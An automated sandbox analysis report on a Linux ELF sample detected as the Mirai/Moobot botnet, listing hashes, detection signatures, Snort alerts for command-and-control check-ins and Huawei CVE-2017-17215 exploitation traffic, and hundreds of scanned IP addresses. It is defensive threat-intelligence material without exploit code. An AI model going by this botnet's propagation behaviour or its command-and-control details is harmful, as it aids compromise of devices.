Linux Analysis Report
XHZFo8hExw.elf

Overview

General Information

Sample Name: XHZFo8hExw.elf
Original Sample Name: f90025024613f3a9d54373f3cc68eefd.elf
Analysis ID: 830724
MD5: f90025024613f3a9d54373f3cc68eefd
SHA1: b44c167b326ff981979a38c1086cebe9d27feb66
SHA256: d502542baec72142eef5bbe366c81681acaca46c920c37c724d2cd0b8a93a223
Tags: 32elfintelmirai
Infos:

Detection

Mirai, Moobot
Score: 96
Range: 0 - 100
Whitelisted: false

Signatures

Yara detected Mirai
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected Moobot
Snort IDS alert for network traffic
Connects to many ports of the same IP (likely port scanning)
Uses known network protocols on non-standard ports
Machine Learning detection for sample
Sets full permissions to files and/or directories
Yara signature match
Executes the "mkdir" command used to create folders
Executes the "chmod" command used to modify permissions
Enumerates processes within the "proc" file system
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Detected TCP or UDP traffic on non-standard ports
Sample has stripped symbol table
Sample tries to set the executable flag
HTTP GET or POST without a user agent
Executes commands using a shell command-line interpreter
Executes the "rm" command used to delete files or directories
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: XHZFo8hExw.elf ReversingLabs: Detection: 58%
Machine Learning detection for sample
Source: XHZFo8hExw.elf Joe Sandbox ML: detected

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:51628 -> 103.161.181.97:56999
Source: Traffic Snort IDS: 2030489 ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response 103.161.181.97:56999 -> 192.168.2.23:51628
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46574 -> 27.0.158.180:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39574 -> 197.39.68.98:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44976 -> 41.239.113.31:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39570 -> 157.122.72.69:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40986 -> 41.237.5.201:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40988 -> 41.237.5.201:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56256 -> 156.224.11.114:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59410 -> 154.38.241.212:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39590 -> 41.36.233.70:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57594 -> 197.39.56.45:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:32976 -> 147.46.79.137:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39134 -> 163.15.165.22:37215
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 197.128.70.122 ports 1,2,3,5,7,37215
Source: global traffic TCP traffic: 197.7.38.32 ports 1,2,3,5,7,37215
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 46574 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 39574 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 39574
Source: unknown Network traffic detected: HTTP traffic on port 44976 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 44976
Source: unknown Network traffic detected: HTTP traffic on port 39570 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 40986 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 40988 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 40986
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 40986
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 40988
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 40988
Source: unknown Network traffic detected: HTTP traffic on port 56256 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 59410 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 59410 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 59410 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 39590 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 39590
Source: unknown Network traffic detected: HTTP traffic on port 59410 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 59410 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 57594 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 59410 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 57594 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 57594 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 57594 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 57594 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 32976 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 57594 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 59410 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 57594 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 57594 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 39134 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 39134 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 39134 -> 37215
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 36.220.195.163:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.24.32.207:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 190.198.11.63:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.242.39.224:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.26.87.133:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.89.169.68:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 76.99.245.93:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.198.201.62:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 156.103.226.156:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 183.62.90.136:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 149.119.186.237:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.5.2.18:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.152.184.159:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.216.108.241:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 125.33.207.14:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 115.9.59.221:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.134.14.1:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 60.74.64.111:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.40.121.156:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.8.63.16:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 132.111.249.4:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.32.54.151:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 69.175.58.192:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 185.247.192.134:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.17.139.34:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 184.200.42.7:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.143.186.196:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.162.212.232:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.226.249.173:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.204.245.74:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.204.127.28:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.68.219.4:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.162.131.20:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 167.130.212.255:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 143.207.8.71:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.215.34.222:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 219.76.204.174:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.189.119.55:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.59.192.2:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.117.162.83:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 43.179.170.100:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.19.49.16:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 50.189.204.48:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.46.249.106:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.128.130.208:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 142.0.83.204:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.223.83.218:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 71.250.85.3:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.28.70.32:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.177.52.245:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.5.148.203:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.170.134.72:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.136.33.26:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.137.17.77:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.72.253.69:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.225.39.203:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.84.167.150:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.195.74.165:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.204.192.43:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.192.68.113:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 164.71.49.123:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 204.226.7.122:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 144.98.214.22:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 19.10.183.121:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 117.213.230.167:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.102.113.130:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.157.138.157:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.21.220.106:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.197.113.4:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.238.46.81:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.51.243.179:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.125.3.112:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.0.109.131:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.141.123.234:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.77.98.79:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.7.38.32:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 49.141.117.135:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 19.148.67.117:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 109.89.200.67:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.183.228.147:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.66.234.192:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.22.232.35:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.12.32.247:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.17.241.221:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 205.128.148.108:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.170.101.167:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.171.146.72:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.230.164.175:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.247.197.138:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.103.204.147:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.11.252.161:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.183.89.54:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.93.13.52:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 83.176.101.52:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.197.198.32:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.80.99.22:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.16.86.219:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.231.95.100:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 145.112.234.110:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.231.13.110:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.59.14.80:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 207.175.84.107:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 178.148.14.143:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.80.194.136:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.203.174.78:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 90.87.189.218:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.173.75.173:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 206.209.105.20:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 188.163.57.227:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.164.242.24:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.102.223.228:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.82.137.26:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.170.70.107:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.183.7.73:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.16.103.108:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 32.40.204.118:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.249.167.38:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.67.148.157:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.6.95.237:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.39.90.95:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.249.85.113:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.75.175.163:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.188.223.51:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.237.201.202:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.166.103.118:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.126.205.232:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.160.199.226:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 19.229.74.249:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.74.40.98:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.117.234.33:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 138.193.111.162:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.225.172.93:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.210.226.162:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.131.122.211:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.11.122.49:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.66.118.139:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.109.130.65:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.228.29.179:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 43.128.65.122:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 166.9.210.177:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 86.141.178.48:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.139.228.175:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 24.246.179.9:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 149.178.196.103:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.57.73.120:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.135.80.160:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.249.142.224:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 43.2.42.28:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 163.227.111.90:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 52.214.189.247:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.105.3.105:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 150.208.162.74:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.134.220.57:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 205.234.192.124:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.183.93.61:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.219.214.212:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.227.170.4:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.32.119.118:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.126.77.221:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.227.190.9:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.71.170.68:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 149.12.244.217:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.254.61.145:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 64.4.207.190:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.227.89.104:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 177.206.184.153:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 221.152.242.218:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.139.26.184:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.250.171.49:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.216.53.96:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 135.174.116.232:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.228.134.113:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.154.64.28:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.126.84.255:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 164.125.240.195:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.4.101.241:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 124.1.248.150:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.4.30.206:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 143.192.147.120:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 1.215.45.124:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.27.81.18:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.17.192.75:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.74.162.72:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 84.148.54.96:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.253.134.26:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.232.202.50:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 52.245.230.74:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.200.98.50:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 88.211.179.152:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.188.207.150:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.90.16.71:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.130.149.17:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.175.164.225:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.6.157.60:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 189.119.248.45:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.94.238.167:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.205.114.138:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.132.229.64:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.255.142.181:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.136.220.132:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 23.217.200.145:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.198.213.21:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.188.22.206:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.54.135.230:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.112.204.153:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.160.62.153:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.129.120.139:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.128.70.122:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 193.3.39.9:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 114.175.231.219:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 32.77.149.185:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.104.50.105:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.110.26.22:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.72.196.229:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.181.191.248:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.139.111.162:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.105.119.103:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.254.21.43:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 190.135.62.195:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.255.254.11:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.138.22.199:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.40.209.51:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.248.142.1:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 147.109.246.185:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.230.243.15:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.135.81.207:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.196.70.156:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.245.169.52:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 77.189.203.93:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.19.254.46:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.229.110.107:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.183.191.93:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.156.122.40:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.80.130.104:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 165.137.184.151:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 114.9.202.231:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.145.195.24:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.211.95.81:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.226.150.125:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.147.39.109:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.93.99.220:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.27.253.189:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.209.208.168:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.129.195.184:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 111.93.131.105:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 75.179.114.97:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.242.140.137:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.111.71.126:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.135.136.230:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.52.179.184:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.203.165.125:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.56.36.111:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.241.31.60:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 120.160.217.179:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 173.96.244.228:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.245.69.202:37215
Source: global traffic TCP traffic: 192.168.2.23:51628 -> 103.161.181.97:56999
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.122.229.68:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 152.156.88.104:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.78.124.125:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.252.106.52:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 59.8.224.168:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.162.54.225:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.163.250.194:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 132.208.183.202:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.82.10.185:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 136.56.57.5:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.20.90.246:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.46.78.160:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.194.25.226:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.87.66.111:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.37.90.65:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 136.238.64.172:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 69.74.34.20:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 34.43.17.13:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.20.39.157:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.117.59.183:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 52.137.36.26:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.18.8.16:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.154.65.245:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.20.83.245:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.43.215.66:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.32.0.182:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 40.166.16.224:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.63.109.233:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.49.226.250:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 209.129.14.194:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.64.37.212:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.164.77.70:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.127.183.160:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.24.180.200:37215
